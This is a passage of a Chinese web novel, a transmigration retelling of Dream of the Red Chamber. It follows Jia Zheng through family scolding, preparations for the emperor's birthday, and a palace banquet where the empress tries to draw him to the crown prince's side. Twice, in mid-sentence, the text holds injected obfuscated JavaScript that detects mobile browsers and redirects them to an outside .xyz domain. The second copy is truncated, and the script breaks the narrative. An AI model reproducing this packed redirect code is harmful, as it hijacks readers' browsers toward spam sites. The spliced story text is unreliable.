他和荣国府众人虽是半路的亲子关系,父母的拳拳爱子之心依旧让他动容,上辈子少年丧父,前几年母亲也过世了,再次感受到父爱母爱,依旧是温暖又吓人啊。 但他有自己的原则,有些坚持还是要说清楚的,贾政双膝跪地,郑重道,“孩儿不孝,让父母担心了,但身为功勋之后,百姓危难之时岂有后退之理,下次再遇到这样的事,我依旧不会袖手旁观的。” 贾代善呆呆看着他,不敢相信这样的话是从娇生惯养的次子口中说出来的。 牛大人击掌赞道,“说得好,荣公啊,我看这孩子是当将军的材料,不如送给我吧。” 贾代善哭笑不得,“滚,你又不是没儿子。” 牛大人笑道,“我那儿子是个只知道读书的榆木脑袋,哪有政儿机灵果敢,好孩子,跟伯伯说说,你是怎么回来的?满城兵马到处寻你,你是怎么躲开他们的?” 贾政把自己买驴逛街的经过说了一遍,无辜道,“我不知道有人找我啊,就逛个街而已,连小偷都没遇到一个。我还买了很多好吃的零食,牛伯伯也拿些尝尝。” “嗯,一定尝尝,贤侄喜欢的零食肯定好吃。”牛大人哈哈大笑,谁能想到堂堂国公府的公子会骑着老驴逛小摊子呢,难怪那么多人都找不到,擦肩而过也未必多看一眼。 贾代善气得只能苦笑,“就你那寒酸相,别说小偷了,狗都懒得理你,滚回你的屋里反省去,下次再敢闹得人仰马翻,老子就打断你的腿,再炖了你的驴。” 贾政揖手作礼,站起身一溜烟跑没影儿了,不用老爷说他也不敢了,调动戍卫京师的禁军和几个部门的人马只为找他一个,这阵仗龙傲天来了也扛不住啊。 贾代善送走牛大人,又着人四处送信,备上厚礼感谢帮忙找孩子的几方人马。 贾母这边也送走了前来慰问的女眷,又打赏了两府下人,贾政一通胡闹,夫妻俩忙到下午才有空歇一歇。 16. 第十六章 准备 夫妻对坐休息,就着贾政买回来的零食吃茶,说起今天的糟心事,贾母又笑又叹,问道,“老爷是怎么打算的?” 贾代善苦笑着摇头,“过一两年再说吧,政儿不是读书的料,逼他上劲不过是磨磨他的性子,赦儿已经被老太太养歪了,打理家业尚可,外面的事不敢指望他,政儿要是再提不上来,等我们两个老的去了,满家子还不得被人生吞活剥了。” 贾母红了眼眶,哽咽道,“我们在南边那些年,每次老爷领兵出去我都提心吊胆,吃不下睡不着的,想到政儿也要走上这条路,我这心里……” 贾代善拉住妻子的手,安慰道,“放心,我不会让政儿上战场的,侍卫处,京营府的职位多着呢,左右他还年轻,安排个闲职且熬着去吧。” 贾母嗔了丈夫一眼,“今儿我是看出来了,那孩子明面上老实,实则主意多着呢,听如海那孩子说,他是为了打听朝廷往西边派兵的事才逃学的,老爷确定他能老老实实听家里安排么?” 贾代善哑然失笑,“你别说,经过今儿这一遭,我还真不敢肯定能压服那小子了。” 此时牛大人正在宫中向皇上复命,没有皇帝的命令,贾代善再大的面子也无法动用五城兵马司。 听完牛大人的报告,皇上也笑个不住,“国公府走失了少爷,士卒自然会往那温柔乡销金窟去寻找,谁能想到他会骑着驴逛街呢。那孩子也是难得,当初各路豪杰随先帝起兵,哪个不是喊着为民请命,到如今还不忘初心的又有几人,只有小孩子才能有此等赤子之心吧。” 牛大人笑道,“是啊,那孩子心实得很,还把买的零食分给我了。” “哦,你还有吗?也给朕尝尝。” 贾政也在和贾赦说今天的事,贾赦奔忙几天,终于把圣寿礼置办妥当了,回家听说弟弟闯下大祸,把整个京都都惊动了,惹得老爷太太大发雷霆,勒令他在屋里反省。 贾赦要了几道自己喜欢吃的小菜,提着酒来东跨院探望,贾政回到房里就把贾珠抱来,又去贾赦院里取来鹦鹉,命人把顺风也牵回来,零食各屋里分一分,他就安心陪孩子了。 不大会儿工夫贾赦也来了,兄弟俩边吃边聊,贾赦因他奇葩又倒霉的经历笑到喷酒,“咳咳,珍儿说你拳法好到他没法还手,我还当他是在为上次被你教训找补,他的骑射在我们之中也是不差的,原来你真会武艺啊。” 贾政笑道,“小时候跟祖父学过几天,没事谁爱吃那个苦,练得三天打鱼两天晒网的,全靠一副好身板撑门面。” 贾赦叹道,“可是说啊,我打小就爱生病,家里老仆都说我不是习武的料子,读书我又读不进去,唉,有时候我也挺发愁的。” 贾政轻笑,原来贾大老爷年轻时也是有想法的,他提议道,“那就认真办差啊,内务府可不是好进的,你已经有实职了,再想办法谋份差事不难吧,圣寿礼的事你就办得不错,要对自己有信心啊。” 贾赦嘿嘿笑道,“我也是这么想的,你先别跟老爷说,我先自己想想办法。哦,对了,今天还打听到一件事,据说今年会开大宴,皇上要在圣寿宴上为五皇子赐府册封呢。” 贾政抽了口气,“越过三皇子给五皇子册封,当今这是想把五皇子架在火上烤啊。” 虽然皇子过的都不容易,被皇帝当成太子的磨刀石也太惨了点吧,五皇子那么漂亮一张脸,早早凋零就太可惜了。 “管他呢。”贾赦才不在乎外人是死是活,“我们还得再备份礼才愁人。” 对哦,册封皇子最低也是郡王,加上出宫建府两重喜事,礼备轻了恐会惹恼五皇子,重了又会引来太子和另两个皇子的猜忌,这可怎么弄? 兄弟俩傻傻对望,最后决定把难题丢给老爷,他们还年轻呢,这件事的困难程度有点超纲了。 晚膳时贾赦跟老爷说了这件事,贾母先笑道,“知道了,小孩儿家没经过厉害,多大点事就一惊一乍的。皇子册封都是有订例的,四个郡王府一档,我们八个公爵府一档,联合凑个礼单,保管谁也挑不出礼来。” 见兄弟俩都松了口气,贾代善冷哼道,“寿宴前你们两个都给我老实在家里待着,谁再敢惹出事来,祠堂里的家法可还生着灰呢。” 贾赦玩命点头,贾政也吓得直缩脖子,所谓家法就是幼儿手腕粗的一根红油大棒,老虎都能一棒子打死,那是打孩子的东西么。 全家都忍着笑欣赏兄弟俩的傻样,贾敏不忍哥哥们出糗,笑道,“圣寿节过后甄家就要去江南赴任了,走之前肯定会办临别宴,大哥可别忘了准备贺礼呀。” 贾政愣了下,原来甄应嘉是今年才去江南当那个什么总裁的,那他之前是干什么的? 贾母叹了声,“我们刚回京都没多久,甄家偏又要去江南了,老爷,甄大老爷走了,通政司能落到薛家老爷手上么?” 贾代善摇头,“怎么可能,甄应嘉虽是皇上伴读出身,也是正儿八经中过二甲进士才入朝当的官,薛伍的官职是恩荫得来的,哪有主持一司的资格。” 说完他又瞪了眼贾政,“荫官做到正五品就顶天了,不想处处低人一头就要多下苦功。” 贾政嗯嗯答应着,心里却猛翻白眼,他又不是没考过大学,还不知道要下苦功么,奈何天生不是学文科的料,他有什么办法。 贾母笑着岔开话题,心里却不以为然,老爷也没参加过科举,还不是快要当上兵部右侍郎了,只要爵位落到政儿头上,多大的官当不得。 次日起全家开始为参加圣寿节做准备,国公和国公夫人有定制的礼服,贾政他们却没有现成的衣服可穿,既要彰显国公府的实力,又不能过度奢华,穿着打扮于贵族可是门大学问。 贾政对此一头雾水,只好假装自己是塑料模特,任由老娘摆弄。 王氏被婆婆留在家里带孩子,本就满心怨念,丈夫的事又一点插不上手,越发不自在起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900597|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周瑞家的见状,便趁机提起一直惦记的那件事,过去外面的事只需跟大总管贾顺打声招呼就行,自从内外整顿了两次,贾顺也带全家告了老,下头的人就再没空子可钻了,凡是都要有主子示下才能办成。 王氏本就是个占便宜没够的,先前被贾政烧了欠条,她一直窝着火呢,听了周瑞家的办法,当即就把这件事交给他们两口子去办,还派周氏去探听贾政口风。 贾政刚沐过浴,正坐在窗前的罗汉榻上晾头发,桌上铺着后花园的堪舆图,打算挑个适合居住的院子。 满绿园中有三院两楼,最大的是东北角的梨香院,因院内有一株三百多年的大梨树而得名,其余都建在水岸边竹林下,景致优美还凉快,最近天越来越热,他打算带珠儿搬到园子里住几天。 梨香院就算了,贾政对这里有阴影,湖光榭横卧在水流上,既凉又潮,不适合小宝宝居住,也放弃。 青玉阁周围的竹子太高,晒不到太阳,卧云楼建在假山之上,夜里风太大,听雨轩就在湖岸边,又担心珠儿掉下去,只剩下翠香堂各方面条件还算合适。 翠香堂位于花圃中央,屋子虽不大,只父子两个住也足够用了,况且又不是长住,熬过暑热还是得搬回东跨院。 贾政叫来松烟,命他带人去看院子,缺什么就从自家拿,不要动用官中的东西。 松烟刚出去,松茗就报说周氏送茶点来了,贾政尴尬的脚指抠地,忙命松茗把人拦在楼下,“就说我已经歇了,有什么话明日再说。” 贾政的小厮对奶奶的陪房没啥好感,王家人不是倔就是滑,当面满口对人好,转过身就下刀子,要不是主子对自己的事把得紧,还不知要被他们钻去多少空子呢。 松茗皮笑肉不笑的接过茶点,“劳烦周姑娘费心,我们爷已经睡下了,有什么事明儿再说不迟。” 周氏只是不擅言辞,不代表心里没有计较,她也抿唇回了一笑,“既这么着,我就回太太去了。” 松茗差点翻白眼,再次认定王家人脑子有坑,他们可是爷的人,想用奶奶压制他,她管得着么。 看爷最近的态度就知道了,奶奶想把控二房还早着呢,别说爷不会同意,单就太太那关她都过不了。 见周氏无功而返,王氏气恼之余又添了一层忧虑,二爷自从受伤过后就再没行过房,他,该不会还有别的症候没说出来吧? 王氏愁了一夜,次日早起请安,趁石氏张罗早膳的机会,她凑到婆婆身边小声说出自己的担忧。 贾母心里咯噔一下,面上却笑道,“瞎想什么呢,伤筋动骨一百天,自然是大夫让他养着的,你只管尽心侍候便是了。” 王氏见婆婆如此笃定,不得不按捺心中不安,又建议道,“周氏自上次惹恼了二爷,二爷就再没正眼看过她,依媳妇之见,二爷虽要养伤,身边也不能没几个心细会服侍的丫头,太太不如再挑两个好的照顾爷呢。” 17. 第十七章 担忧 贾母盯着二儿媳妇,不明白她又要闹哪一出,从前不是恨不得长出八只手把着政儿么,怎么突然转性了。 还是,其实是王氏想在政儿身边安插眼线,讨丫头不过是借个由头,趁机把她的人一并送到政儿跟前去。 贾母在心里冷笑,再不喜老大,也得承认人家小两口夫妻和睦,里外一条心,就王氏这样又蠢小心思又多的,政儿能信任她才怪呢。 她淡淡回道,“以后再说吧,身边的人好与不好政儿自会调停,想要人了再知会管事的挑去便是,不用我们多事。” 王氏立时撩下脸来,差点扯碎手里的帕子,当初怀珠儿时太太明里暗里挤兑她给屋里添人,如今又说出任由二爷的话,左右都是她的道理,完全不把自己和王家放在眼里。 贾母差点气笑了,王家也不知是怎么教女孩儿的,当媳妇的还敢跟婆婆摆脸色,要不是顾及到两家的情面,高低得给她点颜色瞧瞧。 不多时贾政和贾赦也到了,等贾代善出来,全家请了安,用过早膳,贾政才说起想带贾珠去翠香堂避暑的事。 “珠儿的屋里不敢用冰,奶娘说一晚上得醒个两三次,小孩子休息不好怎么行,干脆我带他去园子里躲过三伏天吧。” 贾珠是全家的宝贝,听说他热到睡不着,贾代善和贾母这个心疼。 贾母埋怨道,“你怎么不早说,赶紧打扫好了搬过去,哎,我的宝贝儿,可受苦了。” 贾政笑道,“谁想到突然就这么热了,前些日子还挺凉快的,老爷打发人去钦天监问问明天的天气吧,要是穿的衣服不对,在寿宴上热得满头大汗,我们家的脸面可就丢大了。” 贾代善点头,“我上衙就让老杜打听去,圣寿宴是大事,万万马虎不得。” 贾政几个都站起身,揖礼福身称是,王氏瞄了眼表情凝重的石氏和贾敏,心情总算好了些。 不进宫就不用遭那份罪了,有太太这些超品夫人在,又轮不到小辈们出风头,还不如待在家里,抽空跟周瑞家的商量那件事呢。 贾代善中午前就回来了,打听到的结果并不乐观,“钦天监说今年会从七月初一直热到八月中,内务府已经接到提醒,正忙着把寿宴从内朝挪到后宫的琦年殿去呢。” 贾母啊了声,“天儿热到寿宴都改地方了?这事儿办的,怎么也不跟我们知会一声,赖嬷嬷,你即刻派人往亲戚家报信去。” 贾代善摇头,“内务府忙得很,哪儿来的工夫往各家报信,左右都是进宫,内朝后宫都一样。” 贾母嗔道,“哪里一样了,后宫的规矩比内朝大多了。琦年殿是先太后当皇后那会儿最喜欢摆宴的地方,临着太液池的水景,又敞亮又凉快,我像敏儿这么大时经常去宫里参加宴会。如今这位皇后是个不喜张扬的,除了敏儿偶尔入宫陪伴甄贵妃,政儿还没见过琦年殿呢。” 贾政眼角直跳,虞朝皇宫是接的明朝二手房,什么时候多出个唐朝的太液池来了? 虽然都叫大明宫,但一个在南,一个在北,差着上千年呢,这也能往一块儿合并吗? 贾赦却皱起眉头,“没见过才好呢,后宫可不是好地方,那些宫人都皮笑肉不笑的,说的话也听不出是夸你呢还是骂你呢,我小时候和祖母去过几次,最后一次还赶上三皇子落水了,打那儿之后祖母就再不敢带我进宫了。” 贾敏的面色也不大好,“我也是年初甄贵妃过生日时去过一次,琦年殿大到走在里面都会迷路,宫人私底下拉帮结伙,见人下菜碟,有些比大哥说的还过分,要不是逐云会认路,我差点被带到别的地方去。” 贾代善和贾母的表情都凝重起来,朝堂上虽能察觉到太子和三五两位皇子互相针对,但参与之人做得非常隐晦,并不敢把争斗摆明在皇帝面前。 没想到后宫已经形成对立之势了,居然敢明着针对非己方阵营的大臣内眷,皇宫大内岂是儿戏之地,连失仪都是大罪,要是不小心受到申斥,那可是一辈子也洗刷不掉的污点。 贾母深吸口气,“老爷,这可怎么办?” 贾代善苦笑,“先帝在时,当今是皇位的不二之选,这储位之争别说孩子们了,连你我都没经历过,除了谨言慎行,我也想不出太好的办法。” 贾母看着三个尚且年轻的儿女,心疼的差点掉下眼泪,“要不,别带孩子们去了。” 贾代善摇头,“那怎么行,我们回京两年,去年圣寿没开大宴,今年怎么也要带孩子们觐见一次。” 说完他又瞪了眼贾政,“政儿前几天闹得满城不安,五城兵马司是皇上亲自下旨调动的,他还没当面谢恩呢。” 夫妻俩齐齐叹气,担忧又心疼,被呵护着长大的娇儿,哪里受得住外头的刀光剑影啊。 贾政心里酸酸的,看书时很难体会纸片人的情感,只有亲身经历过才能感觉到他们对孩子的感情之深厚,两个废物儿子都是惯出来的。 他想了想,提议道,“大哥也是内务府的人,不如让他去帮忙吧,寻个在外头打下手的差事,既贺了寿还能少担份风险。小妹和大嫂跟紧太太,我跟在老爷身边,非必要不开口,怎么也能对付过去。” 贾代善和贾母对视,看到彼此眼中的惊喜,都笑了起来,“行,就这么办,我这就送赦儿去内务府,政儿在家帮你太太。还有,看住你的驴,昨儿它差点把我的兰草给啃了。” 贾政尴尬的应了声,老爷一个武将,喜欢竹子就算了,怎么还会喜欢兰花呢,跟韭菜叶子似的,顺风不啃才怪呢。 提起那头驴,贾母也是一肚子气,送走父子俩,转头就跟贾政抱怨,“那驴关进马棚就拼命叫唤,放出来又四处闯祸,再不好生管管,我就扒了它的皮煮阿胶做火烧。” 贾政讪笑,“太太还能少阿胶火烧吃么,它老了,怎么管啊。” 贾敏冷哼,“我听丫头说顺风才七岁,干活确实老了,闯祸还能再闯十年呢。” 贾政只得应下,回院子盯着顺风发愁,这家伙长得搞笑就算了,脾气还一顶一的古怪,关起 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“你可知从前的老人还剩下多少家了?”经过内外两次清理,能留下的要么忠心,要么没用,贾政很好奇还剩下多少。 “我们家的老仆有七十三房,五房告老,打发到庄子上近三十房,太太陪嫁了十房,打发了四房,大奶奶和二奶奶都陪了七房,且还轮不到他们犯错受罚呢。” 荣国府是太太掌家,两个媳妇只能听命打下手,权力还没赖嬷嬷几个管家嬷嬷大,陪房自然也是谨小慎微,不敢给主子丢脸。 贾政笑道,“挺好的,把那尸位素餐的清出去,府里清爽多了,再没见过打架拌嘴的,连大厨房的饭菜都比以前好吃了。” 松烟也很喜欢府里现在的样子,“可不是么,东府那边也少了很多人,后街空出不少屋子,我们住得宽敞多了。两边大管家还商量,以后不打算从外头采买了,缺人就从各处庄子上选家生子进府教导。” 贾政看着松烟开心的样子,说不上是什么心情,以上辈子的观点,世代为奴过于残忍了,但虞朝没有现代完善的福利制度,不想等死就只能卖身为奴,遇到像荣国府这样的主家,生活反倒比平民好很多。 “松烟,你也有十九了吧,有喜欢的姑娘吗?哦,对了,你原名叫什么来着,我都记不清了。” “嘿嘿,爷,我叫林之孝啊,早就跟姑娘屋里的逐云订亲了,等她送姑娘出嫁,我们再成亲。” 啊,松烟是林之孝?小红的父亲,荣国府仅次于赖大的二号人物,知名嘴替是怎么变成后来的天聋地哑的? 贾政大受震撼,把十个小厮都叫到身边,逐一问了本名,再没听到耳熟的名字,这才放下心来。 贾代善很快就回府了,命人去请大奶奶给贾赦收拾行李,他被安排在负责采买的内大臣手下,专管皇庄运送新鲜菜蔬的事,没有两三天是回不来了。 全家都松了口气,贾赦是全家最好骗,最容易被利用的人,把他打发到城外去,其他人再警醒些,再怎样也不会出大问题的。 18. 第十八章 入宫 七月初二,全家早早起来,再次检查了圣寿礼,封箱交给随行的管事照管。 又梳洗打扮,穿戴好准备的礼服,午饭过后汇合宁国府一家三口,一同前往大明宫。 贾代善坐着公爵车驾,贾政和贾珍骑着高头大马在前面开路,贾母,石氏,贾敏,以及贾敬夫妻共五乘大轿紧随其后,近身侍候的丫头嬷嬷们又坐了四辆骡车,小厮护院和家丁围在左右,浩浩荡荡往大明门而去。 大明门距离宁荣街只有四条街,早到的官员马车停在道路两侧,都快排到宁荣街了,等顺亲王和以四王八公为首的功勋进入大明门,而后才轮到他们按品级入宫。 快接近大明门时,西宁郡王的王驾从前方路口上了主道,贾珍扬手命自家车马止步,叔侄俩拱手恭送王驾先行,约莫着空出王府众人下车整队的时间,他们才继续前进。 到达大明门,负责迎接的监门卫首领抢步来到公爵车驾前,恭迎贾代善下车,笑道,“亲王府和四位郡王府都已入宫,就等荣国公大驾了。” 贾代善笑着拿手点他,姿态很是亲密,贾政不知道这人是谁,看着跟贾赦的年纪差不多,便只简单拱手作了礼。 贾母等人下了轿,走过来笑道,“马家小子你又淘气了,仔细你娘锤你。政儿,这是你马家的尚德哥哥,还不问好呢。” 贾政这才知道他是谁,治国公马魁的孙子,原著中好像只恩袭了三品将军,比贾赦的爵位还低,这人看着挺精明强干的,是后来犯了什么事吗? 他拱手笑道,“马哥安好,常听我大哥提起你,一直遗憾无缘当面拜见。” 马尚德呵呵笑道,“你大哥肯定没说过我好话,哪天我们出去玩,就不带上他。” 贾政很喜欢他爽朗的性格,也笑着点头,“等马哥有空了我们出城打猎,猎几头鹿回来气气他。” 贾珍不干了,“干嘛气我二叔,小叔你不要被他带坏了。” 三人正闹着,突然插进一声冷哼,“我妹妹怎么不见。” 贾政寻声看去,列队整齐的监门卫中有一人跨出两步,身材魁梧,面如刀削,一双单凤三角眼精光乱迸,居然是大名鼎鼎的王子腾。 拉住要呛回去的贾珍,贾政拱手笑道,“二舅兄安好,是珠儿天热睡不安稳,缠歪着娘亲不肯放人。” 王子腾哼了声又站回队列,贾政却沉了脸,这人是怎么回事?听说外甥身上不爽,不管是真是假,怎么也得关心几句吧。 马尚德侧身抬手,请整队完毕的宁荣两府入宫,还不忘嘱咐贾政,“小孩儿中了暑热不是玩儿的,还是请太医看看吧。” 贾政拱手道谢,“我先带他去凉快院子住几天,要是还睡不好,真得请太医了。” 走进大明门,就有羽林卫上来带路,贾政也是这几天才弄明白京都几个军方部门的关系。 京营府是戍卫京都的军区总部,下辖五城三营。 五城指的是五城兵马司,专职负责京城安全,由正一品京营节度使直接掌管。 三营是五军营、三千营和神机营,驻扎在城外,五军营负责营阵,三千营负责巡哨,神机营负责火器,共同拱卫京都安全。 而侍卫处则是专门保护皇宫和负责皇帝安全的部门,长官是正一品内大臣。 其下的御前侍卫分为三卫,分别是专管出行仪仗的龙禁卫,负责巡逻皇宫和近身保护皇帝的羽林卫,以及看守宫门的监门卫。 贾政打量几名羽林卫,身形矫健,目蕴精光,虽只是寻常带路,也时刻保持着警戒,稍有异动瞬间就能抽出腰间的绣春刀。 贾敏扯了下他,以眼神提醒二哥别总盯着人家的刀看,没见羽林卫的大半注意力都在他身上么。 贾政笑着向小妹摇头,他们关注他是因为看出他小有身手,出于本能多注意些,并非怀有敌意。 看来羽林卫不仅身手高强,眼光也相当敏锐,皇帝老儿为了自身安全,选的都是高手中的高手。 走过连檐通脊的千步廊,进入承天门就是外朝了,西边是社稷坛,东边是太庙,六部和重要衙门分散在两侧。 继续向前,经过午门是通政司和内务府这类近侍部门,再通过皇极门才是内朝。 内朝是皇帝上朝听政和办公祭祀的场所,建有三大正殿和内阁六殿,是大明宫乃至整个虞朝真正的权力中心。 进入内朝,又换成了内侍太监领路,沿着外廊一路向西,在慈宁宫前的永巷转向西边的内华门,经过护城河上的金安桥,前方是一片开阔水域,岸边耸立的高大宫殿便是琦年殿了。 贾敏呼了口气,小小声道,“总算到了,可累坏我了。” 贾政也看明白大明宫的布局了,熟悉的三殿六宫依旧是主体建筑,将西边的南海和中海括进来就是所谓的太液池,不知后面的景山和北海是否也在宫墙里面。 负责寿宴的礼部、三寺和内务府的官员都在琦年殿外候着,先由内侍将女眷引入殿内,双方才见礼寒暄。 贾代善和文官不熟,对方也没有结交的意思,简单哈啦几句就把贾政等人交给内侍,带领他们前往内殿。 琦年殿是雁翅形状的三重殿结构,东西殿由两亭与主殿连接在一起,他们进入主殿时四位郡王均已落坐,修国公和齐国公府也到了,见贾代善带着子侄进来,两府的人赶忙笑着站起来迎接。 四个国公府相互见过礼,贾代善又带子侄向四位郡王见礼。 东西南北四个郡王府,就数东平郡王与自家最是亲近,二代郡王比贾代善大了近十岁,留着两撇小胡,长得英武不凡。 他起身扶住贾代善,又看向贾政,笑骂道,“你这孩子看着老实,闯起祸来比那大闹天宫的猴子还能折腾。” 贾政笑嘻嘻躬身认错,东平郡王一向把宁荣两府的后辈当自家子侄看待,没必要太过严肃。 修国公的孙子侯孝康却哼了声,“闯了那么大的祸,你今天竟然还能来参加寿宴。” 说完他白了贾政一眼,又送给自家老爹一个大卫生球,也不知是对谁不满。 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众人笑得更欢了,贾母只得把贾政搞出来的乌龙事件又说了一遍,“两边都想岔了,孩子以为我们什么都不知道,骑驴玩得挺开心,我们找不到他就以为出事了,吓得满城的人都帮着找孩子。” 皇后哎哟一声,“政儿这么勇敢的么,疯马他都敢拦。”随即又大笑,“买头驴逛街,那孩子怎么想的啊。” 顺亲王妃笑问道,“我听说那驴你们还养着呢?” 贾母叹气,“他连名字都起好了,不养着怎么办,那驴比它主子还能闹人。” 众人大笑,皇后用帕子按着眼角,对掌事女官道,“去把政儿传过来,自从你们家回京,我只见过敏儿,还没见过那孩子呢。” 贾代善听说皇后要传见贾政,他也没多想,皇上皇后和他们这些勋贵二代的年纪差不多,都是一块儿在京都长起来的,见见对方的孩子也不是啥稀奇事。 贾政也是这么想的,原身小时候常听太太说以前的事,皇后甄贵妃,还有那几位王妃,没有她不认识的,就当去见老妈闺蜜了,没必要吓自己。 向老爷点头让他安心,贾政随内侍和女官从外廊下前往东殿。 看到他们选择的路线,他更放心了,能走在明面上就是不会暗中做手脚的意思,虽然不知道见面时皇后会说什么,只要不刻意刁难,应对起来应该不难。 肃身垂首进入东殿,贾政刚要向主位叩首,温柔带笑的女声便抢先道,“罢了,抬起头来给我们见识一下荣国府的宝贝儿。” 听到满殿的笑声,贾政便知道这群人就是闲的,没事逗弄小孩子玩儿,太拘谨了反倒不妥。 他躬身揖礼,而后大大方方抬起头,直面主位的中年美妇,气度雍容,温柔慈和,双目好似能包容万物的海洋,一国之母的气势远超他想象。 皇后也在打量贾政,面如美玉,鬓若刀裁,俊眼修眉,顾盼神飞,好个俊俏的小郎君。 她又看向美若春水的贾敏,横了贾母一眼,嗔道,“怎么好孩子都托生到你肚子里去了,你从小就是个小气的,有这么好的孩子也不知道分我们一个。” 19. 第十九章 寿宴 贾母心里咯噔一声,皇后这么说,分明是想让政儿当面投到太子门下,甚至连敏儿和林家小子都不想放过,储位之争已经惊险到此种地步了吗? 她不敢把心惊表露出来,紧紧抓着身边的贾敏,笑嘻嘻怼了回去,“还说我小气,娘娘不也是个眼馋肚饱的,谁家的孩子能有太子优秀,有了人中龙凤你还不知足呢。” 皇后的打算不好放到明面上,也知道从贾母这儿讨不到好处,都是成了精的狐狸,谁不知道谁啊。 于是她把目光又投到贾政身上,笑道,“你说的可不算,我们问问政儿的意见。” 贾政当警察十几年,什么人没见过,虽然从没打过顶层权贵的高端局,简单的言语机锋还是能听出来的。 他茫然的看向太太,又扫视过在坐的众位贵妇贵女,呆呆问道,“孩子也能分给别人吗?我不想换父母行不行?” 贾政的演技可是受过专业卧底训练的,尤其擅长装傻充愣,不了解他的人很难看出来。 众人哄堂大笑,谁也想不到皇后和荣国夫人的言辞较量还能这样破解,实心眼的傻孩子压根听不出她们在说什么,明着说不想换父母,皇后总不能强抢吧。 皇后哭笑不得,也淡了拉拢贾政的心思,这种傻子别说帮忙,不给太子招祸就不错了,荣国府又不止他一个儿子,来日方长么。 甄贵妃在心中暗笑,贾代善和史璐两口子比鬼都精,她才不相信他们能养个傻子出来,就皇后这种蠢货还想算计贾政,想什么美事呢,回头皇上听说了今天的事,还不知怎么跟她算账呢。 她嗔道,“可不是不想换父母么,你闹腾一场,把我们吓得够呛,也没见家里弹你一指头,有这么惯孩子的父母,搁我我也不换。” 贾母不服气的哼了声,“说的好像你舍得打孩子似的。” 皇后好笑道,“你们是想比谁更会惯孩子么,可闭嘴吧,别丢人了。” 众人再次大笑,场面十分欢乐,皇后又问了几句读什么书这类琐事,便命女官送贾政回正殿了。 贾母贾敏和石氏都松了口气,万分庆幸贾赦没跟来,同时也生出些许疑惑。 贾政刚才的傻样明显是装出来的,可他平时看着也不是多聪明,那也是装出来哄她们的? 贾政不知道自己的信誉已经岌岌可危了,回到正殿,发现又来了好多人,有爵位的基本上都到了。 他轻咦了声,“皇后娘娘那边没这么多人啊。” 领路的女官笑道,“后来的人不敢打扰娘娘说话,都在外面候着呢,奴婢告辞了。” 贾政拱手道谢,林如海和贾珍都在廊下等着贾政呢,女官走后他们立即迎了上来,问道,“你没事吧?” 贾政笑着摇头,“闲话几句家常而已,能有什么事。倒是如海,你怎么又瘦了?” 俊脸瘦成了巴掌大,小腰盈盈一握的,这是不打算科举,要改行当爱豆了? 林如海垮下俊脸,他也愁啊,自从贾政上次提醒,他就格外在意自身健康,然后发现,自己真的不是很健壮,除了身高还能看,体力比同龄人差太多了。 他苦笑,“最近已经很注意保养了,偏偏这几天热得很,吃不下睡不着,才又瘦了些。” 谢鲲走过来,抓了下林如海的肩膀,惊道,“我说如海啊,我们这些勋贵子弟在读书上头全靠你和牛继宗撑脸面呢,你可不能有事啊。” 林如海好笑道,“苦夏而已,能有什么事。” 戚建辉也走过来,挤眉弄眼的打趣,“还有屋里的小妖精,色是刮骨刀啊。” 林如海白了他一眼,“滚你的,我还守着母孝呢,哪来的小妖精。” 贾政愣了下,这才想起林如海母亲已经过世了,孝期要到今年年底才结束,因此小妹才会在家里待到十六岁。 这样挺好的,明年小妹十七岁,完全长成了再出嫁,就算后年生宝宝也不用担心会损伤身体。 小妹健康活泼,林如海只是消瘦,属于年轻人的活力不少半分,这两人怎么看也不像子嗣艰难的短命鬼,那问题又是出在哪里了呢? 被老爷叫过去拜见长辈,贾政还在想这个问题,贾敏和林如海门当户对,兴趣相投,本应是神仙眷侣般的夫妻,是怎么落到家破人亡的地步的? 就因为那些神神鬼鬼的下界历劫,亲人就要全部死光光吗? 贾政深吸口气,再次坚定先前的想法,绝对不能让元春探春和宝玉出生,想历劫到别人家历去,就算绛珠仙子还是出生在林家,小妹妹夫无暇照顾孩子,有外祖和舅舅在,黛玉也没理由去别人家与宝玉见面。 跟在贾代善身后把所有勋贵和朝廷大员,以及他们的后辈都认了一遍,就在贾政脸快要笑僵时,三皇子,五皇子和七皇子都来了。 这是寿宴即将开始的信号,众人见过礼后纷纷落坐,由三皇子打头,带领两个弟弟与王公大臣逐一见礼寒暄。 三皇子骄矜自大,言语傲慢,原身见过两次,对他的印象极差,贾政难得和原身的想法同步,打算离他越远越好。 五皇子俊美似仙,清冷淡漠,哪怕文臣的态度热络异常,刚进来时有几人行的还是大礼,他也全当没看见一样。 七皇子是头一次见,相比两位兄长的俊朗挺拔,十五岁的少年长相气质都很一般,看不出任何特别之处。 三人先给四位郡王见礼,再来就是宁荣两府了,三皇子与贾代善和贾敬相互拱手见礼,又受了贾政和贾珍的礼,疑惑道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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太子和三位皇子率先献上寿礼,他们明显是商量过的,寿礼都是亲手抄写的佛经道藏,寿桃和金丝长寿面这类寻常之物,只为衬托太子奉上的红羽大鹦鹉。 太子带三个弟弟俯身拜倒,朗声道,“有凤来仪,祥瑞天降,儿臣等祝父皇长寿无极。” 众人也跟着拜倒,共贺皇帝万岁,万万岁。 皇帝放声大笑,“太子平身,众爱卿平身,储君贤德,又有能臣相助,何愁我大虞不兴。” 众人再次山呼万岁,气氛十分热烈,接下来的各王府国公府,功勋大臣献礼祝寿只是草草而过,大家的注意力都集中在形似凤凰的大鹦鹉身上。 全身火红不见丝毫杂色,被金链锁在金架子上,好似一团火焰在燃烧,不是凤凰是什么。 贾政也盯着大鹦鹉,心里砰砰直跳,他终于想起五皇子身上的味道是什么了。 20. 第二十章 解困 圣寿宴因太子进献的火红鹦鹉热烈异常,主持寿宴的官员见众人的注意力都集中在鹦鹉身上,干脆以最快速度结束献礼环节,不敢打扰皇上的兴致。 